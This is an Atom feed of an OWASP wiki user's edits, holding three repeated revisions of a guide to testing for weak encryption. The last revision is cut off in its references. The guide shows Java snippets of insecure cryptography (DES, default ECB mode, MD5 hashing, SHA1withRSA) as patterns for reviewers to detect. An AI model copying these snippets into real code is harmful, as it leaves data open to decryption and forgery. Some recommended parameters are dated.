<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tony+Hsu+HsiangChih</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tony+Hsu+HsiangChih"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Tony_Hsu_HsiangChih"/>
		<updated>2026-04-30T08:40:08Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253629</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253629"/>
				<updated>2019-08-09T23:37:28Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.  &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm. &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For the padding mode in RSA Asymmetric encryption, the uses of padding modes :&lt;br /&gt;
PKCS#1 v2.1 (PSS, OAEP)  -- Recommended&lt;br /&gt;
&lt;br /&gt;
PKCS#1 v1.5 (RSAES, RSASSA)  -- Legency uses only.&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot; or &amp;quot;Cipher.getInstance&amp;quot; , the ECB should not be used in symmetric encryption.&lt;br /&gt;
The mode of operation needs to be specified since the default will be &amp;quot;ECB&amp;quot; if not specified.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;) ;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;The following implementation will result in using the default &amp;quot;ECB&amp;quot; mode, and should be avoided.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Mozilla TLS observatory https://github.com/mozilla/tls-observatory&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
* PBKDF2 IETF RFC 2898 and NIST SP 800-132&lt;br /&gt;
* HMAC https://www.ietf.org/rfc/rfc2104.txt&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253628</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253628"/>
				<updated>2019-08-09T23:29:18Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.  &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm. &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot; or &amp;quot;Cipher.getInstance&amp;quot; , the ECB should not be used in symmetric encryption.&lt;br /&gt;
The mode of operation needs to be specified since the default will be &amp;quot;ECB&amp;quot; if not specified.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;) ;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;The following implementation will result in using the default &amp;quot;ECB&amp;quot; mode, and should be avoided.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Mozilla TLS observatory https://github.com/mozilla/tls-observatory&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
* ISO 18033-1:2015 – Encryption Algorithms&lt;br /&gt;
* ISO 18033-2:2015 – Asymmetric Ciphers&lt;br /&gt;
* ISO 18033-3:2015 – Block Ciphers&lt;br /&gt;
* http://csrc.nist.gov/groups/ST/toolkit/key_management.html&lt;br /&gt;
* PBKDF2 IETF RFC 2898 and NIST SP 800-132&lt;br /&gt;
* HMAC https://www.ietf.org/rfc/rfc2104.txt&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253627</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=253627"/>
				<updated>2019-08-09T23:28:26Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in symmetric encryption.  &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. The following example uses of DES is not recommended since DES is considered a weak encryption algorithm. &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot; or &amp;quot;Cipher.getInstance&amp;quot; , the ECB should not be used in symmetric encryption.&lt;br /&gt;
The mode of operation needs to be specified since the default will be &amp;quot;ECB&amp;quot; if not specified.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;) ;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;The following implementation will result in using the default &amp;quot;ECB&amp;quot; mode.&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
Cipher c = Cipher.getInstance(&amp;quot;AES&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Mozilla TLS observatory https://github.com/mozilla/tls-observatory&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
